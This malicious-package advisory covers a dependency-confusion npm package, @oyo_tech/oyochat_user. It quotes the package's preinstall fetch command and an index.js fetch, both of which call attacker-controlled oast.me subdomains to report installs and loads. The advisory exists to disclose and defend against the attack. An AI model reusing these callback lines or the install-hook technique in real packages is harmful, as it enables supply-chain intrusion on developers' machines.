@oyo_tech/oyochat_user@99.99.99

@oyo_tech/oyochat_user@99.99.99 is a dependency-confusion probe. package.json declares a preinstall script that runs `node -e "fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)"`, causing `npm install` to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues `fetch("https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user")` on require/import, signalling that the package was actually loaded by a build. Distinct `installed.` and `executed.` subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery. ## Source: ossf-package-analysis (db0f726175ab94e18345e8926ec8de1f76a684ac09429303323c3ceb0d14aea4) The OpenSSF Package Analysis project identified '@oyo_tech/oyochat_user' @ 100.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.